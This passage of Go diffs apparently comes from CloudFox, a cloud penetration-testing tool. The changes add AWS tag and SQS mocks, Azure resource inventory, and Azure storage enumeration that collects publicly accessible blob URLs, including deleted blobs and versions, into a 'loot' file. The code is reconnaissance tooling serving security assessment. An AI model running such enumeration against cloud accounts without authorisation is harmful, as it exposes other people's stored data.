||||
|
||||
/// ########## Mocks ##########
|
||||
|
||||
// mockedSQSClient can return data about a hardcoded set of queues
|
||||
type mockedSQSClient struct {
|
||||
Queues map[string]map[string]string // map of queue URL to attributes (which are maps of string names to string values)
|
||||
}
|
||||
|
||||
func (c *mockedSQSClient) ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error) {
|
||||
out := sqs.ListQueuesOutput{}
|
||||
|
||||
region := getRequestedRegion(optFns...)
|
||||
|
||||
for url := range c.Queues {
|
||||
if getRegionFromQueueURL(url) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
out.QueueUrls = append(out.QueueUrls, url)
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func (c *mockedSQSClient) GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error) {
|
||||
out := sqs.GetQueueAttributesOutput{}
|
||||
|
||||
if params.QueueUrl == nil {
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
region := getRequestedRegion(optFns...)
|
||||
|
||||
out.Attributes = make(map[string]string)
|
||||
|
||||
for url, attributes := range c.Queues {
|
||||
if url != *params.QueueUrl {
|
||||
continue
|
||||
}
|
||||
|
||||
if getRegionFromQueueURL(url) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
for k, v := range attributes {
|
||||
out.Attributes[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
// Example: https://sqs.us-east-1.amazonaws.com/123456789012/some-name
|
||||
var reGetRegionFromQueueURL = regexp.MustCompile(`https://sqs.([a-z0-9-]+).amazonaws.com`)
|
||||
|
||||
func getRegionFromQueueURL(url string) string {
|
||||
match := reGetRegionFromQueueURL.FindStringSubmatch(url)
|
||||
if len(match) != 2 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return match[1]
|
||||
}
|
||||
|
||||
func getRequestedRegion(optFns ...func(*sqs.Options)) string {
|
||||
opts := &sqs.Options{}
|
||||
for _, optFn := range optFns {
|
||||
optFn(opts)
|
||||
}
|
||||
|
||||
return opts.Region
|
||||
}
|
||||
+85
-53
@@ -13,20 +13,26 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type TagsGetResourcesAPI interface {
|
||||
GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error)
|
||||
}
|
||||
|
||||
type TagsModule struct {
|
||||
// General configuration data
|
||||
ResourceGroupsTaggingApiClient *resourcegroupstaggingapi.Client
|
||||
ResourceGroupsTaggingApiInterface TagsGetResourcesAPI
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
MaxResourcesPerRegion int
|
||||
|
||||
// Main module data
|
||||
Tags []Tag
|
||||
@@ -134,6 +140,10 @@ func (m *TagsModule) PrintTags(outputFormat string, outputDirectory string, verb
|
||||
fmt.Printf("[%s][%s] %s tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
count := m.countUniqueResourcesWithTags()
|
||||
fmt.Printf("[%s][%s] %d unique resources with tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), count)
|
||||
if m.MaxResourcesPerRegion != 0 {
|
||||
fmt.Printf("[%s][%s] NOTE: Only looked at %d resources per region. To enum all tags for all resources,\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.MaxResourcesPerRegion)
|
||||
fmt.Printf("[%s][%s] NOTE: run the tags command without the -m/--max-resources-per-region flag set.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No tags found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
@@ -212,62 +222,84 @@ func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore ch
|
||||
<-semaphore
|
||||
}()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
for {
|
||||
GetResources, err := m.ResourceGroupsTaggingApiClient.GetResources(
|
||||
context.TODO(),
|
||||
&resourcegroupstaggingapi.GetResourcesInput{
|
||||
PaginationToken: PaginationControl,
|
||||
},
|
||||
func(o *resourcegroupstaggingapi.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
resources, err := m.getResources(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
//var parsedArn types.Arn
|
||||
for _, resource := range resources {
|
||||
var resourceType string
|
||||
resourceArn := aws.ToString(resource.ResourceARN)
|
||||
parsedArn, err := arn.Parse(resourceArn)
|
||||
if parsedArn.Service != "s3" {
|
||||
resourceType = strings.Split(parsedArn.Resource, ":")[0]
|
||||
resourceType = strings.Split(resourceType, "/")[0]
|
||||
} else {
|
||||
resourceType = "bucket"
|
||||
}
|
||||
//resourceName := strings.Split(parsedArn.Resource, ":")[]
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
//var parsedArn types.Arn
|
||||
for _, resource := range GetResources.ResourceTagMappingList {
|
||||
var resourceType string
|
||||
resourceArn := aws.ToString(resource.ResourceARN)
|
||||
parsedArn, err := arn.Parse(resourceArn)
|
||||
if parsedArn.Service != "s3" {
|
||||
resourceType = strings.Split(parsedArn.Resource, ":")[0]
|
||||
resourceType = strings.Split(resourceType, "/")[0]
|
||||
} else {
|
||||
resourceType = "bucket"
|
||||
|
||||
for _, tag := range resource.Tags {
|
||||
key := aws.ToString(tag.Key)
|
||||
value := aws.ToString(tag.Value)
|
||||
|
||||
dataReceiver <- Tag{
|
||||
AWSService: parsedArn.Service,
|
||||
Arn: resourceArn,
|
||||
Name: parsedArn.Resource,
|
||||
Region: r,
|
||||
Type: resourceType,
|
||||
Key: key,
|
||||
Value: value,
|
||||
}
|
||||
//resourceName := strings.Split(parsedArn.Resource, ":")[]
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *TagsModule) getResources(r string) ([]types.ResourceTagMapping, error) {
|
||||
var PaginationControl *string
|
||||
var resources []types.ResourceTagMapping
|
||||
|
||||
// a for loop that accepts user input. If no user input, it will continue to paginate until there are no mor pages. If there is user input, it will paginate until the user input is reached.
|
||||
|
||||
for {
|
||||
if len(resources) < m.MaxResourcesPerRegion || m.MaxResourcesPerRegion == 0 {
|
||||
GetResources, err := m.ResourceGroupsTaggingApiInterface.GetResources(
|
||||
context.TODO(),
|
||||
&resourcegroupstaggingapi.GetResourcesInput{
|
||||
PaginationToken: PaginationControl,
|
||||
},
|
||||
func(o *resourcegroupstaggingapi.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return resources, err
|
||||
}
|
||||
|
||||
resources = append(resources, GetResources.ResourceTagMappingList...)
|
||||
|
||||
if aws.ToString(GetResources.PaginationToken) != "" {
|
||||
PaginationControl = GetResources.PaginationToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
|
||||
for _, tag := range resource.Tags {
|
||||
key := aws.ToString(tag.Key)
|
||||
value := aws.ToString(tag.Value)
|
||||
|
||||
dataReceiver <- Tag{
|
||||
AWSService: parsedArn.Service,
|
||||
Arn: resourceArn,
|
||||
Name: parsedArn.Resource,
|
||||
Region: r,
|
||||
Type: resourceType,
|
||||
Key: key,
|
||||
Value: value,
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if aws.ToString(GetResources.PaginationToken) != "" {
|
||||
PaginationControl = GetResources.PaginationToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
return resources, nil
|
||||
}
|
||||
|
||||
}
|
||||
return resources, nil
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
)
|
||||
|
||||
type MockedTagsGetResources struct {
|
||||
}
|
||||
|
||||
func (m *MockedTagsGetResources) GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error) {
|
||||
testResources := []types.ResourceTagMapping{}
|
||||
testResources = append(testResources, types.ResourceTagMapping{
|
||||
ResourceARN: aws.String("arn:aws:ec2:us-east-1:123456789012:instance/i-1234567890abcdef0"),
|
||||
Tags: []types.Tag{
|
||||
{
|
||||
Key: aws.String("Name"),
|
||||
Value: aws.String("test"),
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
testGetResourcesOutput := &resourcegroupstaggingapi.GetResourcesOutput{
|
||||
ResourceTagMappingList: testResources,
|
||||
}
|
||||
|
||||
return testGetResourcesOutput, nil
|
||||
}
|
||||
|
||||
func TestTags(t *testing.T) {
|
||||
subtests := []struct {
|
||||
name string
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule TagsModule
|
||||
expectedResult []Tag
|
||||
}{
|
||||
{
|
||||
name: "TestTags",
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: TagsModule{
|
||||
ResourceGroupsTaggingApiInterface: &MockedTagsGetResources{},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/test"),
|
||||
UserId: aws.String("AIDAJDPLRKLG7UEXAMPLE"),
|
||||
},
|
||||
AWSRegions: []string{"us-east-1"},
|
||||
OutputFormat: "table",
|
||||
Goroutines: 10,
|
||||
AWSProfile: "test",
|
||||
WrapTable: false,
|
||||
MaxResourcesPerRegion: 100,
|
||||
},
|
||||
expectedResult: []Tag{
|
||||
{
|
||||
AWSService: "ec2",
|
||||
Region: "us-east-1",
|
||||
Type: "instance",
|
||||
Key: "Name",
|
||||
Value: "test",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
internal.MockFileSystem(true)
|
||||
for _, subtest := range subtests {
|
||||
t.Run(subtest.name, func(t *testing.T) {
|
||||
subtest.testModule.PrintTags(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
|
||||
if len(subtest.testModule.Tags) != len(subtest.expectedResult) {
|
||||
t.Errorf("Expected %d results, got %d", len(subtest.expectedResult), len(subtest.testModule.Tags))
|
||||
}
|
||||
for i, ExpectedTag := range subtest.expectedResult {
|
||||
|
||||
if ExpectedTag.Type != subtest.testModule.Tags[i].Type {
|
||||
t.Errorf("Expected Type = %s, got %s", subtest.testModule.Tags[i].Type, ExpectedTag.Type)
|
||||
}
|
||||
if ExpectedTag.Key != subtest.testModule.Tags[i].Key {
|
||||
t.Errorf("Expected Key = %s, got %s", subtest.testModule.Tags[i].Key, ExpectedTag.Key)
|
||||
}
|
||||
if ExpectedTag.Value != subtest.testModule.Tags[i].Value {
|
||||
t.Errorf("Expected Value = %s, got %s", subtest.testModule.Tags[i].Value, ExpectedTag.Value)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
+1
-1
@@ -56,7 +56,7 @@ func getVMsPerTenantID(AzTenantID string) ([]string, [][]string) {
|
||||
var resultsBody, b [][]string
|
||||
var err error
|
||||
|
||||
for _, s := range getSubscriptionsPerTenantID(AzTenantID) {
|
||||
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
|
||||
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
|
||||
resultsHeader, b, err = getComputeRelevantData(s, rg)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
func AzInventoryCommand(AzTenantID, AzSubscriptionID, Version string, AzVerbosity int, AzWrapTable bool) error {
|
||||
o := internal.OutputClient{
|
||||
Verbosity: AzVerbosity,
|
||||
CallingModule: globals.AZ_INVENTORY_MODULE_NAME,
|
||||
Table: internal.TableClient{
|
||||
Wrap: AzWrapTable,
|
||||
},
|
||||
}
|
||||
|
||||
if AzTenantID != "" && AzSubscriptionID == "" {
|
||||
// To-Do: implement per tentant
|
||||
fmt.Println("Inventory per tenant not yet implemented. Please use the --subscription flag instead.")
|
||||
|
||||
} else if AzTenantID == "" && AzSubscriptionID != "" {
|
||||
|
||||
// ./cloudfox azure storage --subscription SUBSCRIPTION_ID
|
||||
fmt.Printf(
|
||||
"[%s][%s] Gathering inventory for subscription %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
|
||||
color.CyanString(o.CallingModule),
|
||||
AzSubscriptionID)
|
||||
|
||||
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
|
||||
|
||||
header, body, err := prepareInventoryTable(AzTenantID, AzSubscriptionID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
o.Table.TableFiles = append(o.Table.TableFiles,
|
||||
internal.TableFile{
|
||||
Header: header,
|
||||
Body: body,
|
||||
Name: globals.AZ_INVENTORY_MODULE_NAME})
|
||||
o.PrefixIdentifier = fmt.Sprintf("subscription-%s", AzSubscriptionID)
|
||||
o.Table.DirectoryName = filepath.Join(
|
||||
globals.CLOUDFOX_BASE_DIRECTORY,
|
||||
globals.AZ_DIR_BASE,
|
||||
"subscriptions",
|
||||
AzSubscriptionID)
|
||||
|
||||
} else {
|
||||
// Error: please make a valid flag selection
|
||||
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
|
||||
}
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
return nil
|
||||
}
|
||||
|
||||
func prepareInventoryTable(tenantID, subscriptionID string) ([]string, [][]string, error) {
|
||||
resources, err := getResources(tenantID, subscriptionID)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
inventory := make(map[string]map[string]int)
|
||||
resourceTypes := make(map[string]bool)
|
||||
resourceLocations := make(map[string]bool)
|
||||
|
||||
for _, resource := range resources {
|
||||
resourceType := ptr.ToString(resource.Type)
|
||||
resourceLocation := ptr.ToString(resource.Location)
|
||||
|
||||
_, ok := inventory[resourceType]
|
||||
if !ok {
|
||||
inventory[resourceType] = make(map[string]int)
|
||||
}
|
||||
inventory[resourceType][resourceLocation]++
|
||||
resourceTypes[resourceType] = true
|
||||
resourceLocations[resourceLocation] = true
|
||||
}
|
||||
|
||||
header := []string{"Resource Type"}
|
||||
var body [][]string
|
||||
for location := range resourceLocations {
|
||||
header = append(header, location)
|
||||
}
|
||||
|
||||
for t := range resourceTypes {
|
||||
row := []string{t}
|
||||
for location := range resourceLocations {
|
||||
count, ok := inventory[t][location]
|
||||
if ok {
|
||||
row = append(row, fmt.Sprintf("%d", count))
|
||||
} else {
|
||||
row = append(row, "-")
|
||||
}
|
||||
}
|
||||
body = append(body, row)
|
||||
}
|
||||
|
||||
sort.Slice(body, func(i, j int) bool {
|
||||
return body[i][0] < body[j][0]
|
||||
})
|
||||
|
||||
return header, body, nil
|
||||
}
|
||||
|
||||
func getResources(tenantID, subscriptionID string) ([]*armresources.GenericResourceExpanded, error) {
|
||||
client := internal.GetARMresourcesClient(tenantID, subscriptionID)
|
||||
|
||||
var resources []*armresources.GenericResourceExpanded
|
||||
|
||||
pager := client.NewListPager(nil)
|
||||
for pager.More() {
|
||||
nextResult, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resources = append(resources, nextResult.Value...)
|
||||
}
|
||||
|
||||
return resources, nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"testing"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestAzInventoryPoC(t *testing.T) {
|
||||
// Using the new version implementation
|
||||
// https://github.com/Azure/azure-sdk-for-go/blob/main/documentation/MIGRATION_GUIDE.md
|
||||
|
||||
tenantID := ""
|
||||
subscriptionID := ""
|
||||
|
||||
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
client, err := armresources.NewClient(subscriptionID, cred, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var resources []*armresources.GenericResourceExpanded
|
||||
|
||||
pager := client.NewListPager(nil)
|
||||
for pager.More() {
|
||||
nextResult, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
resources = append(resources, nextResult.Value...)
|
||||
}
|
||||
|
||||
inventory := make(map[string]map[string]int)
|
||||
resourceTypes := make(map[string]bool)
|
||||
resourceLocations := make(map[string]bool)
|
||||
|
||||
for _, resource := range resources {
|
||||
resourceType := ptr.ToString(resource.Type)
|
||||
resourceLocation := ptr.ToString(resource.Location)
|
||||
|
||||
_, ok := inventory[resourceType]
|
||||
if !ok {
|
||||
inventory[resourceType] = make(map[string]int)
|
||||
}
|
||||
inventory[resourceType][resourceLocation]++
|
||||
resourceTypes[resourceType] = true
|
||||
resourceLocations[resourceLocation] = true
|
||||
}
|
||||
|
||||
header := []string{"Resource Type"}
|
||||
var body [][]string
|
||||
for location := range resourceLocations {
|
||||
header = append(header, location)
|
||||
}
|
||||
|
||||
for t := range resourceTypes {
|
||||
row := []string{t}
|
||||
for location := range resourceLocations {
|
||||
count, ok := inventory[t][location]
|
||||
if ok {
|
||||
row = append(row, fmt.Sprintf("%d", count))
|
||||
} else {
|
||||
row = append(row, "-")
|
||||
}
|
||||
}
|
||||
body = append(body, row)
|
||||
}
|
||||
|
||||
sort.Slice(body, func(i, j int) bool {
|
||||
return body[i][0] < body[j][0]
|
||||
})
|
||||
|
||||
internal.MockFileSystem(true)
|
||||
internal.OutputSelector(2, "table", header, body, ".", "test.txt", "inventory", true, "sub-11111111-1111-11111-1111-1111111111111111")
|
||||
}
|
||||
+168
-24
@@ -4,12 +4,14 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/storage/mgmt/storage"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob/container"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
@@ -17,10 +19,14 @@ import (
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
// Color functions
|
||||
var cyan = color.New(color.FgCyan).SprintFunc()
|
||||
|
||||
func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version string, AzVerbosity int, AzWrapTable bool) error {
|
||||
var err error
|
||||
var header []string
|
||||
var body [][]string
|
||||
var publicBlobURLs []string
|
||||
var outputDirectory, controlMessagePrefix string
|
||||
|
||||
if AzTenantID != "" && AzSubscriptionID == "" {
|
||||
@@ -30,7 +36,7 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
|
||||
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
|
||||
AzTenantID)
|
||||
header, body, err = getStorageInfoPerTenant(AzTenantID)
|
||||
header, body, publicBlobURLs, err = getStorageInfoPerTenant(AzTenantID)
|
||||
controlMessagePrefix = fmt.Sprintf("tenant-%s", AzTenantID)
|
||||
outputDirectory = filepath.Join(
|
||||
globals.CLOUDFOX_BASE_DIRECTORY,
|
||||
@@ -45,7 +51,8 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
|
||||
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
|
||||
AzSubscriptionID)
|
||||
header, body, err = getStorageInfoPerSubscription(AzSubscriptionID)
|
||||
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
|
||||
header, body, publicBlobURLs, err = getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID)
|
||||
controlMessagePrefix = fmt.Sprintf("subscription-%s", AzSubscriptionID)
|
||||
outputDirectory = filepath.Join(
|
||||
globals.CLOUDFOX_BASE_DIRECTORY,
|
||||
@@ -63,59 +70,107 @@ func AzStorageCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version stri
|
||||
if body != nil {
|
||||
internal.OutputSelector(AzVerbosity, AzOutputFormat, header, body, outputDirectory, fileNameWithoutExtension, globals.AZ_STORAGE_MODULE_NAME, AzWrapTable, controlMessagePrefix)
|
||||
}
|
||||
if publicBlobURLs != nil {
|
||||
err = writeBlobURLslootFile(globals.AZ_STORAGE_MODULE_NAME, controlMessagePrefix, outputDirectory, publicBlobURLs)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func getStorageInfoPerTenant(AzTenantID string) ([]string, [][]string, error) {
|
||||
func writeBlobURLslootFile(callingModule, controlMessagePrefix, outputDirectory string, publicBlobURLs []string) error {
|
||||
lootDirectory := filepath.Join(outputDirectory, "loot")
|
||||
lootFilePath := filepath.Join(lootDirectory, "public-blob-urls.txt")
|
||||
|
||||
err := os.MkdirAll(lootDirectory, os.ModePerm)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
file, err := os.Create(lootFilePath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
for _, url := range publicBlobURLs {
|
||||
_, err := file.WriteString(url + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot file written to [%s]\n", cyan(callingModule), cyan(controlMessagePrefix), file.Name())
|
||||
return nil
|
||||
}
|
||||
|
||||
func getStorageInfoPerTenant(AzTenantID string) ([]string, [][]string, []string, error) {
|
||||
var err error
|
||||
var header []string
|
||||
var body, b [][]string
|
||||
var publicBlobURLs []string
|
||||
|
||||
for _, s := range getSubscriptionsPerTenantID(AzTenantID) {
|
||||
header, b, err = getRelevantStorageAccountData(ptr.ToString(s.SubscriptionID))
|
||||
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
|
||||
header, b, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, nil, err
|
||||
} else {
|
||||
body = append(body, b...)
|
||||
}
|
||||
}
|
||||
return header, body, nil
|
||||
return header, body, publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getStorageInfoPerSubscription(AzSubscriptionID string) ([]string, [][]string, error) {
|
||||
func getStorageInfoPerSubscription(AzTenantID, AzSubscriptionID string) ([]string, [][]string, []string, error) {
|
||||
var err error
|
||||
var header []string
|
||||
var body [][]string
|
||||
var publicBlobURLs []string
|
||||
|
||||
for _, s := range getSubscriptions() {
|
||||
if ptr.ToString(s.SubscriptionID) == AzSubscriptionID {
|
||||
header, body, err = getRelevantStorageAccountData(ptr.ToString(s.SubscriptionID))
|
||||
header, body, publicBlobURLs, err = getRelevantStorageAccountData(AzTenantID, ptr.ToString(s.SubscriptionID))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
return header, body, nil
|
||||
return header, body, publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getRelevantStorageAccountData(subscriptionID string) ([]string, [][]string, error) {
|
||||
tableHeader := []string{"Subscription ID", "Storage Account Name", "Kind", "Public Blob Allowed"}
|
||||
func getRelevantStorageAccountData(tenantID, subscriptionID string) ([]string, [][]string, []string, error) {
|
||||
tableHeader := []string{"Subscription ID", "Storage Account Name", "Container Name", "Access Status"}
|
||||
var tableBody [][]string
|
||||
var publicBlobURLs []string
|
||||
storageAccounts, err := getStorageAccounts(subscriptionID)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
for _, sa := range storageAccounts {
|
||||
tableBody = append(tableBody,
|
||||
[]string{
|
||||
subscriptionID,
|
||||
ptr.ToString(sa.Name),
|
||||
string(sa.Kind),
|
||||
strconv.FormatBool(ptr.ToBool(sa.AllowBlobPublicAccess)),
|
||||
},
|
||||
)
|
||||
blobClient, err := internal.GetStorageAccountBlobClient(tenantID, ptr.ToString(sa.Name))
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
containers, err := getStorageAccountContainers(blobClient)
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
for containerName, accessType := range containers {
|
||||
tableBody = append(tableBody,
|
||||
[]string{
|
||||
subscriptionID,
|
||||
ptr.ToString(sa.Name),
|
||||
containerName,
|
||||
accessType})
|
||||
}
|
||||
urls, err := getPublicBlobURLs(blobClient, ptr.ToString(sa.Name), containers)
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
publicBlobURLs = append(publicBlobURLs, urls...)
|
||||
}
|
||||
return tableHeader, tableBody, nil
|
||||
return tableHeader, tableBody, publicBlobURLs, nil
|
||||
}
|
||||
|
||||
var getStorageAccounts = getStorageAccountsOriginal
|
||||
@@ -150,3 +205,92 @@ func mockedGetStorageAccounts(subscriptionID string) ([]storage.Account, error)
|
||||
}
|
||||
return storageAccountsResults, nil
|
||||
}
|
||||
|
||||
func getStorageAccountContainers(client *azblob.Client) (map[string]string, error) {
|
||||
containers := make(map[string]string)
|
||||
pager := client.NewListContainersPager(&azblob.ListContainersOptions{
|
||||
Include: azblob.ListContainersInclude{Metadata: true, Deleted: true},
|
||||
})
|
||||
for pager.More() {
|
||||
resp, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, container := range resp.ContainerItems {
|
||||
if container.Properties.PublicAccess != nil {
|
||||
containers[ptr.ToString(container.Name)] = "public"
|
||||
} else {
|
||||
containers[ptr.ToString(container.Name)] = "private"
|
||||
}
|
||||
}
|
||||
}
|
||||
return containers, nil
|
||||
}
|
||||
|
||||
func getPublicBlobURLs(client *azblob.Client, storageAccountName string, containers map[string]string) ([]string, error) {
|
||||
var publicBlobURLs []string
|
||||
for containerName, accessType := range containers {
|
||||
if accessType == "public" {
|
||||
url, err := getPublicBlobURLsForContainer(client, storageAccountName, containerName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
publicBlobURLs = append(publicBlobURLs, url...)
|
||||
}
|
||||
}
|
||||
return publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getPublicBlobURLsForContainer(client *azblob.Client, storageAccountName, containerName string) ([]string, error) {
|
||||
blobNames, err := getAllBlobsForContainer(client, containerName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
publicBlobURLs, err := validatePublicBlobURLs(storageAccountName, containerName, blobNames)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return publicBlobURLs, nil
|
||||
}
|
||||
|
||||
func getAllBlobsForContainer(blobClient *azblob.Client, containerName string) ([]string, error) {
|
||||
var blobNames []string
|
||||
|
||||
pager := blobClient.NewListBlobsFlatPager(containerName, &azblob.ListBlobsFlatOptions{
|
||||
Include: container.ListBlobsInclude{Deleted: true, Versions: true},
|
||||
})
|
||||
|
||||
for pager.More() {
|
||||
resp, err := pager.NextPage(context.TODO())
|
||||
if err != nil {
|
||||
